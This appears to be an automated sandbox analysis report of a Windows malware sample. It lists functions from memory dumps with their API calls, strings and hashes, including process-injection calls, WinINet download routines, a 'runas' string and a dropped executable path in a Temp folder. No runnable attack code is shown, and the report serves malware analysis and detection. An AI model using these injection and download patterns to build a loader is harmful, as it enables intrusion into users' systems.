WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,?,00000000,?,00000000,00000000), ref: 0210247C
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,00000000,?,00000000,00000000), ref: 021024AC
SetThreadContext.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 021024C2
ResumeThread.KERNEL32(?,?,?,00000000,?,00000000,00000000), ref: 021024CB
VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,?,00000000,00000000), ref: 021024D9
VirtualFree.KERNEL32(?,00000000,00008000,?,00000000,00000000), ref: 021024F0

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: Process$MemoryVirtual$ThreadWrite$AllocContextFreeModule$AddressCreateFileHandleNameProcReadResume
String ID:
API String ID: 4033543172-0
Opcode ID: 9ece6e837acb4fa59888a1e4d99704a2eb9bd6168bebd7b156679880e24fc275
Instruction ID: 53d242d701e0762a509de5b03606d46c3cf17097e5aa624aa23c71e9e429fb42
Opcode Fuzzy Hash: 9ece6e837acb4fa59888a1e4d99704a2eb9bd6168bebd7b156679880e24fc275
Instruction Fuzzy Hash: DA515C71B40304BFEB209B94DC85FAABBB8FF08705F904025FA09E61D0D7B5A955DB68

Uniqueness

Uniqueness Score: -1.00%

Function 0211BC3B, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0211BC7F

Part of subcall function 0211B818: _free.LIBCMT ref: 0211B835
Part of subcall function 0211B818: _free.LIBCMT ref: 0211B847
Part of subcall function 0211B818: _free.LIBCMT ref: 0211B859
Part of subcall function 0211B818: _free.LIBCMT ref: 0211B86B
Part of subcall function 0211B818: _free.LIBCMT ref: 0211B87D
Part of subcall function 0211B818: _free.LIBCMT ref: 0211B88F
Part of subcall function 0211B818: _free.LIBCMT ref: 0211B8A1
Part of subcall function 0211B818: _free.LIBCMT ref: 0211B8B3
Part of subcall function 0211B818: _free.LIBCMT ref: 0211B8C5
Part of subcall function 0211B818: _free.LIBCMT ref: 0211B8D7
Part of subcall function 0211B818: _free.LIBCMT ref: 0211B8E9
Part of subcall function 0211B818: _free.LIBCMT ref: 0211B8FB
Part of subcall function 0211B818: _free.LIBCMT ref: 0211B90D

_free.LIBCMT ref: 0211BC74

Part of subcall function 02115711: HeapFree.KERNEL32(00000000,00000000,?,021147F3), ref: 02115727
Part of subcall function 02115711: GetLastError.KERNEL32(?,?,021147F3), ref: 02115739

_free.LIBCMT ref: 0211BC96
_free.LIBCMT ref: 0211BCAB
_free.LIBCMT ref: 0211BCB6
_free.LIBCMT ref: 0211BCD8
_free.LIBCMT ref: 0211BCEB
_free.LIBCMT ref: 0211BCF9
_free.LIBCMT ref: 0211BD04
_free.LIBCMT ref: 0211BD3C
_free.LIBCMT ref: 0211BD43
_free.LIBCMT ref: 0211BD60
_free.LIBCMT ref: 0211BD78

Strings

B, xrefs: 0211BC51

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: B
API String ID: 161543041-2386870291
Opcode ID: 99c469b85a8334f7860a8521e5f24c60ddfc68edca42f265535503cae86b3820
Instruction ID: b907e6c4b5374378ac3b10f304774c24b7c2c5e1061e22ee3c6bdb69f5674753
Opcode Fuzzy Hash: 99c469b85a8334f7860a8521e5f24c60ddfc68edca42f265535503cae86b3820
Instruction Fuzzy Hash: 62315C31688304EFEF34AA39EC85B5A73EBAF40358FA44439E055DB150DF35EA418B10

Uniqueness

Uniqueness Score: -1.00%

Function 0041B9EB, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0041BA2F

Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B5E5
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B5F7
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B609
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B61B
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B62D
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B63F
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B651
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B663
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B675
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B687
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B699
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B6AB
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B6BD

_free.LIBCMT ref: 0041BA24

Part of subcall function 004154C1: HeapFree.KERNEL32(00000000,00000000,?,0041B759,00000000,00000000,00000000,E80042EF,?,0041B780,00000000,00000007,00000000,?,0041BB82,00000000), ref: 004154D7
Part of subcall function 004154C1: GetLastError.KERNEL32(00000000,?,0041B759,00000000,00000000,00000000,E80042EF,?,0041B780,00000000,00000007,00000000,?,0041BB82,00000000,00000000), ref: 004154E9

_free.LIBCMT ref: 0041BA46
_free.LIBCMT ref: 0041BA5B
_free.LIBCMT ref: 0041BA66
_free.LIBCMT ref: 0041BA88
_free.LIBCMT ref: 0041BA9B
_free.LIBCMT ref: 0041BAA9
_free.LIBCMT ref: 0041BAB4
_free.LIBCMT ref: 0041BAEC
_free.LIBCMT ref: 0041BAF3
_free.LIBCMT ref: 0041BB10
_free.LIBCMT ref: 0041BB28

Strings

pB, xrefs: 0041BA01

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: pB
API String ID: 161543041-3059159000
Opcode ID: 4e837837341a8d5f4e3dbcdfec907e9489398fb5dc34642498828c5ad63e8118
Instruction ID: 02eb9b7f6cedb68595ea1e2e4df000aa86c265fce73759de2f294495a80403d0
Opcode Fuzzy Hash: 4e837837341a8d5f4e3dbcdfec907e9489398fb5dc34642498828c5ad63e8118
Instruction Fuzzy Hash: BC315E31600700DFDB21AA3AE845BDB77E8EF80395F10951FE059D7251DB78ADC08798

Uniqueness

Uniqueness Score: -1.00%

Function 0211995A, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 301COMMON

Download Yara Rule

Strings

, xrefs: 02119BE2

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 85d014af914f65cc9923891e831f20f9f36d7ff5d182b98eb42bd64b66671185
Instruction ID: ea3fdeb2e4bdbd4bb5ce2fd47582209f9da935ba1865da0fbdcedc51db2c10c1
Opcode Fuzzy Hash: 85d014af914f65cc9923891e831f20f9f36d7ff5d182b98eb42bd64b66671185
Instruction Fuzzy Hash: A3C10570A44249EFDF25DF98D8A0BADBBF1AF49304F4440B8E9659B391C7319942CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004022B0, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 136networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 00402351
InternetOpenUrlW.WININET(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00402363
InternetReadFile.WININET(00000000,?,00032000,00032000), ref: 0040237A
InternetCloseHandle.WININET(00000000), ref: 0040238B
InternetCloseHandle.WININET(00000000), ref: 0040238E
InternetCloseHandle.WININET(00000000), ref: 0040239F
InternetCloseHandle.WININET(00000000), ref: 004023A2

Strings

Microsoft Internet Explorer, xrefs: 0040234C
<, xrefs: 0040252C
runas, xrefs: 00402545

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Internet$CloseHandle$Open$FileRead
String ID: <$Microsoft Internet Explorer$runas
API String ID: 4294395943-436926838
Opcode ID: 9a32d94c8b7939eb78db467fa39caaccb27089aea047c49b7888cc46b6540ea9
Instruction ID: 836f0c5934710c0407d646d4299d5f63ee009bd7aa37a993408d58964a26c1b2
Opcode Fuzzy Hash: 9a32d94c8b7939eb78db467fa39caaccb27089aea047c49b7888cc46b6540ea9
Instruction Fuzzy Hash: A5410731E00118ABDB18DF65CD45BAEB779EF45300F50846EE915B72C1D7BCAA41CB98

Uniqueness

Uniqueness Score: -1.00%

Function 02115EEA, Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 02115F00

Part of subcall function 02115711: HeapFree.KERNEL32(00000000,00000000,?,021147F3), ref: 02115727
Part of subcall function 02115711: GetLastError.KERNEL32(?,?,021147F3), ref: 02115739

_free.LIBCMT ref: 02115F0C
_free.LIBCMT ref: 02115F17
_free.LIBCMT ref: 02115F22
_free.LIBCMT ref: 02115F2D
_free.LIBCMT ref: 02115F38
_free.LIBCMT ref: 02115F43
_free.LIBCMT ref: 02115F4E
_free.LIBCMT ref: 02115F59
_free.LIBCMT ref: 02115F67

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0c21ef880b1d60341a90e459513d1f7c88c2e850a9c3eb24e8f4f9f902a4b7b2
Instruction ID: f8a04a3f27a253e5962f83ecd64874d78125c817f542f3e1d01edd95211aaadf
Opcode Fuzzy Hash: 0c21ef880b1d60341a90e459513d1f7c88c2e850a9c3eb24e8f4f9f902a4b7b2
Instruction Fuzzy Hash: 4A21667A950108FFCB51EFA4D881DDE7BBBAF48340B9141A6E9159F121EB31EA54CF80

Uniqueness

Uniqueness Score: -1.00%

Function 00415C9A, Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00415CB0

Part of subcall function 004154C1: HeapFree.KERNEL32(00000000,00000000,?,0041B759,00000000,00000000,00000000,E80042EF,?,0041B780,00000000,00000007,00000000,?,0041BB82,00000000), ref: 004154D7
Part of subcall function 004154C1: GetLastError.KERNEL32(00000000,?,0041B759,00000000,00000000,00000000,E80042EF,?,0041B780,00000000,00000007,00000000,?,0041BB82,00000000,00000000), ref: 004154E9

_free.LIBCMT ref: 00415CBC
_free.LIBCMT ref: 00415CC7
_free.LIBCMT ref: 00415CD2
_free.LIBCMT ref: 00415CDD
_free.LIBCMT ref: 00415CE8
_free.LIBCMT ref: 00415CF3
_free.LIBCMT ref: 00415CFE
_free.LIBCMT ref: 00415D09
_free.LIBCMT ref: 00415D17

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c5bf6337fde5a585e6641538013a292c1604a874dfe33c768b4c1d8162f38393
Instruction ID: 166d972883325de44ce7bdabef546b1d3901efceb99f724343cd7b5bc390e77d
Opcode Fuzzy Hash: c5bf6337fde5a585e6641538013a292c1604a874dfe33c768b4c1d8162f38393
Instruction Fuzzy Hash: FA21BB76900618EFCB41EF95C841DDD7FB8AF88344B00556AFA199B121DB35EAC4CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0041970A, Relevance: 13.8, APIs: 9, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42983fa42899a2845bcf8f71685504a06bbf48035d5869ea2965793dd411d954
Instruction ID: 68eb4cd5866e5da1edd4d9018ae4073d6158bda8aeb178e670a8a67cab436560
Opcode Fuzzy Hash: 42983fa42899a2845bcf8f71685504a06bbf48035d5869ea2965793dd411d954
Instruction Fuzzy Hash: 2DC104B0A042459FCF15DF99C890BEEBBB4AF49304F04416EE905A7392C7789D86CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040F900, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0040F937
___except_validate_context_record.LIBVCRUNTIME ref: 0040F93F
_ValidateLocalCookies.LIBCMT ref: 0040F9C8
__IsNonwritableInCurrentImage.LIBCMT ref: 0040F9F3
_ValidateLocalCookies.LIBCMT ref: 0040FA48

Strings

csm, xrefs: 0040F9DD
csm, xrefs: 0040FA71

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$csm
API String ID: 1170836740-3733052814
Opcode ID: 5b87a8de9a3a4e9407a237a14ae48fbdabd4f8c73af1f505a88c9776c8f57c31
Instruction ID: 894b8edc5c57a2ad9ab008264311dd0855dc9107bafb368bc8a4d607022375e2
Opcode Fuzzy Hash: 5b87a8de9a3a4e9407a237a14ae48fbdabd4f8c73af1f505a88c9776c8f57c31
Instruction Fuzzy Hash: 7651B030B00215AFCF24DF29D840A6E7BA5AF44318F14807BE8086BBD2D7799D09CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0211B053, Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0211B07D
_free.LIBCMT ref: 0211B156
_free.LIBCMT ref: 0211B183

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 0e45cf124dae2680c1abf606a5cb3f97d3ad5a8b58d3201bd65a193797cee207
Instruction ID: 94bfb070cbba7aa6ff244b8d2a0fe0cff5127991feb4f3843ce6290b42f3fc6b
Opcode Fuzzy Hash: 0e45cf124dae2680c1abf606a5cb3f97d3ad5a8b58d3201bd65a193797cee207
Instruction Fuzzy Hash: AD510571A8C641EFDB28AF74DC80A6E7BB6EF41718F5042B9E8109B180EB319605CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0041AE03, Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0041AE2D
_free.LIBCMT ref: 0041AF06
_free.LIBCMT ref: 0041AF33

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 577fe52e72432299dac525cb86c922c54f518f78046f18b4d8509dde802e2827
Instruction ID: 2a1f976b7b4bcbb86613db8ff6b19fd986a78d3bd4204cc8e7b10c550d2c21a6
Opcode Fuzzy Hash: 577fe52e72432299dac525cb86c922c54f518f78046f18b4d8509dde802e2827
Instruction Fuzzy Hash: 1851D571A05301AFDB24AF759881AEB7BB4EF45314F0041BFE51097282EB3D89C68A9D

Uniqueness

Uniqueness Score: -1.00%

Function 02101E70, Relevance: 10.7, APIs: 7, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 02101EB2
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 02101EE3
RtlAllocateHeap.NTDLL(00000000), ref: 02101EF1
RtlAllocateHeap.NTDLL(00000000), ref: 02101F04
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 02101F2E
ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 02101F41
LocalFree.KERNEL32(00000000), ref: 02101FF2

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: AllocateHeap$AccountLookupName$ConvertFreeLocalString
String ID:
API String ID: 856199767-0
Opcode ID: 082293e33ad862f9a9c784e4082b52c5111cd68b96a030cc8f3f4a5a10449bd4
Instruction ID: da245020c4f4701bf6b2d648cab42e7854b776941152835fc7f86bd8ff76dccb
Opcode Fuzzy Hash: 082293e33ad862f9a9c784e4082b52c5111cd68b96a030cc8f3f4a5a10449bd4
Instruction Fuzzy Hash: 1D516075A00219AFDB10DFA5DD88FAFBBBDEF44344F014569E905A3280EB749E059BA0

Uniqueness

Uniqueness Score: -1.00%

Function 02102960, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 127threadsleepinjectionCOMMON

Download Yara Rule

APIs

Part of subcall function 0210E120: Concurrency::cancel_current_task.LIBCPMT ref: 0210E241

CreateThread.KERNEL32(00000000,00000000,004026A0,00000000,00000000,00000000), ref: 021029C6
Sleep.KERNEL32(000007D0,?,?,?,?,?,?,?,?,?,?), ref: 021029D3
SuspendThread.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 021029DA

Strings

HB, xrefs: 0210296F
runas, xrefs: 02102B1F
hB, xrefs: 0210298C

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: Thread$Concurrency::cancel_current_taskCreateSleepSuspend
String ID: HB$hB$runas
API String ID: 1039963361-2279071875
Opcode ID: 82e951c8a91862d43a4e1cbda381c2a80e0ba4ab15a03fcfabfbf8e519cf8787
Instruction ID: 5170cb0cdb8129aa87c12741721d53565e87c1ccc4a28072474d21f20407d820
Opcode Fuzzy Hash: 82e951c8a91862d43a4e1cbda381c2a80e0ba4ab15a03fcfabfbf8e519cf8787
Instruction Fuzzy Hash: 8341CF71250148AFEB28DF29CCD8B8D3B66AF89304F908619F91587BD5CBB9D8C18B44

Uniqueness

Uniqueness Score: -1.00%

Function 0041606C, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMON

Download Yara Rule

Strings

api-ms-, xrefs: 004160C3
ext-ms-, xrefs: 004160D7

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: a029b1c59fa74e428a0cfa684141dabc8af3abb85c93389627eb59dbd1bec490
Instruction ID: cb64fe6ad5cfcc4e8d6b7301ff6b9be212c388882d563f31cd3313a8b65e95eb
Opcode Fuzzy Hash: a029b1c59fa74e428a0cfa684141dabc8af3abb85c93389627eb59dbd1bec490
Instruction Fuzzy Hash: 6721D871B01231BBCB318B389D41A9B3B689F057A0F270576FD15A7392DB38DD8185E8

Uniqueness

Uniqueness Score: -1.00%

Function 0211B9B7, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 0211B97F: _free.LIBCMT ref: 0211B9A4

_free.LIBCMT ref: 0211BA05

Part of subcall function 02115711: HeapFree.KERNEL32(00000000,00000000,?,021147F3), ref: 02115727
Part of subcall function 02115711: GetLastError.KERNEL32(?,?,021147F3), ref: 02115739

_free.LIBCMT ref: 0211BA10
_free.LIBCMT ref: 0211BA1B
_free.LIBCMT ref: 0211BA6F
_free.LIBCMT ref: 0211BA7A
_free.LIBCMT ref: 0211BA85
_free.LIBCMT ref: 0211BA90

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5cda7027745d1f273ad04cc00e165eb4e072d0c12b9d8509fdba0c13263103ec
Instruction ID: 66f793a2e9d50a9534d21649fe2bafbf04cfc66c9cf4c6a03a180aa53af4ba02
Opcode Fuzzy Hash: 5cda7027745d1f273ad04cc00e165eb4e072d0c12b9d8509fdba0c13263103ec
Instruction Fuzzy Hash: 10111AB1584B48FFDA30BFB0CC86FCB77DBAF50704F800835A2996A055EB75A6058E90

Uniqueness

Uniqueness Score: -1.00%

Function 0041B767, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 0041B72F: _free.LIBCMT ref: 0041B754

_free.LIBCMT ref: 0041B7B5

Part of subcall function 004154C1: HeapFree.KERNEL32(00000000,00000000,?,0041B759,00000000,00000000,00000000,E80042EF,?,0041B780,00000000,00000007,00000000,?,0041BB82,00000000), ref: 004154D7
Part of subcall function 004154C1: GetLastError.KERNEL32(00000000,?,0041B759,00000000,00000000,00000000,E80042EF,?,0041B780,00000000,00000007,00000000,?,0041BB82,00000000,00000000), ref: 004154E9

_free.LIBCMT ref: 0041B7C0
_free.LIBCMT ref: 0041B7CB
_free.LIBCMT ref: 0041B81F
_free.LIBCMT ref: 0041B82A
_free.LIBCMT ref: 0041B835
_free.LIBCMT ref: 0041B840

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 98f77ec76f06077eea1b448944ce58b2e1595b2dcddd0bbe47e22eb6b6d970be
Instruction ID: ffe7088ae5449a6b3a5a215e186331137a1bbb89884f415634a75f73b0614f0f
Opcode Fuzzy Hash: 98f77ec76f06077eea1b448944ce58b2e1595b2dcddd0bbe47e22eb6b6d970be
Instruction Fuzzy Hash: DF116D31540B04EBDA20BFB2CC47FDB77ACDF84744F40481EB2AD6A092EB38A5848694

Uniqueness

Uniqueness Score: -1.00%

Function 02117567, Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,02103D40,00000000), ref: 021175AF
__fassign.LIBCMT ref: 0211778E
__fassign.LIBCMT ref: 021177AB
WriteFile.KERNEL32(?,02103D40,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 021177F3
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 02117833
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 021178DF

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: eafb416fabd52c576e64e5b09df7842b497485bc3c593586b614e5a75beb33a1
Instruction ID: 841725758be003ca183c754ce27a2cdfef12c021831b9f0c6bbbb196b0cc43b2
Opcode Fuzzy Hash: eafb416fabd52c576e64e5b09df7842b497485bc3c593586b614e5a75beb33a1
Instruction Fuzzy Hash: 21D17971D402589FDF15CFA8D880AEDFBB5AF48314F28417AE855BB381D730AA46CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00417317, Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00403AF0,00000000), ref: 0041735F
__fassign.LIBCMT ref: 0041753E
__fassign.LIBCMT ref: 0041755B
WriteFile.KERNEL32(?,00403AF0,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004175A3
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 004175E3
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041768F

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 04826751f84c3bf59f43dd3b748ffb43c5ed8974f5c1eec548d02a587f29dd42
Instruction ID: 2887c3a552ed1fc2b06bfe8e5bf07c6bde8add9ac4243d38c689086ebbc0ae5f
Opcode Fuzzy Hash: 04826751f84c3bf59f43dd3b748ffb43c5ed8974f5c1eec548d02a587f29dd42
Instruction Fuzzy Hash: 83D1AE71D052589FCF15CFA8C8809EDBBB5BF49314F28416AE815BB342D734AA86CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0210FF54, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0210FF4B,0210FDB9,0210F6C7), ref: 0210FF62
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0210FF70
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0210FF89
SetLastError.KERNEL32(00000000,0210FF4B,0210FDB9,0210F6C7), ref: 0210FFDB

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 44332ddc1fb2f734544a2049ea0f1c617bc5890c4ea3a60d97565a33b3018a5e
Instruction ID: 048ff8caadd677e863fbef17a25e1ba68ea60b85ea78292d0e6617784674260d
Opcode Fuzzy Hash: 44332ddc1fb2f734544a2049ea0f1c617bc5890c4ea3a60d97565a33b3018a5e
Instruction Fuzzy Hash: CB01473378D3215EA63437756CC6A6B2796EB0B774320033AF820808F5EFE108539548

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD04, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040FCFB,0040FB69,0040F477), ref: 0040FD12
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040FD20
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040FD39
SetLastError.KERNEL32(00000000,0040FCFB,0040FB69,0040F477), ref: 0040FD8B

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 44332ddc1fb2f734544a2049ea0f1c617bc5890c4ea3a60d97565a33b3018a5e
Instruction ID: 8cc6dcbae44a2d52cf8c11f23be7c67a5e481590007d6c0e7033467faf16e6d0
Opcode Fuzzy Hash: 44332ddc1fb2f734544a2049ea0f1c617bc5890c4ea3a60d97565a33b3018a5e
Instruction Fuzzy Hash: 6C0124337093216EE63026766C85AA726A4EF0537A360023FF811656F2EFAE5C87514C

Uniqueness

Uniqueness Score: -1.00%

Function 0211A5A8, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe, xrefs: 0211A5AD

Memory Dump Source

Source File: 00000003.00000002.751652366.0000000002100000.00000040.00000001.sdmp, Offset: 02100000, based on PE: false

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe
API String ID: 0-473475495
Opcode ID: f3947822aba8bb08784cc91c87d2ab758d579a1d2d6cee65828d2ade4eac22e4
Instruction ID: 3729e305706b1fbd1e323ae338cb18473f9b41a400a207d72232b8c067e30212
Opcode Fuzzy Hash: f3947822aba8bb08784cc91c87d2ab758d579a1d2d6cee65828d2ade4eac22e4
Instruction Fuzzy Hash: 3E21C371685215BFDB24AF658C80D6BBFAEEF003647114635F92997250E731EC40CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A358, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe, xrefs: 0041A35D

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe
API String ID: 0-473475495
Opcode ID: 88e97dbcb7a3c732f9e870784d65d818278a6a23f29f598e65e95579bb23bfe8
Instruction ID: 8fcd5dcc9f5b01b07bd52fb12ed5abbccf50734b0b3ace7a73ab30f581ed808c
Opcode Fuzzy Hash: 88e97dbcb7a3c732f9e870784d65d818278a6a23f29f598e65e95579bb23bfe8
Instruction Fuzzy Hash: 6121C5712012157FDB20AF728C849EB77ACEF00368710462AF929C7251E778ECE1C76A

Uniqueness

Uniqueness Score: -1.00%

Function 00411ACB, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00411B0D

Strings

.cmd, xrefs: 00411B2B
.com, xrefs: 00411B4D
.exe, xrefs: 00411B1A
.bat, xrefs: 00411B3C

Memory Dump Source

Source File: 00000003.00000002.749929250.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.750011664.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
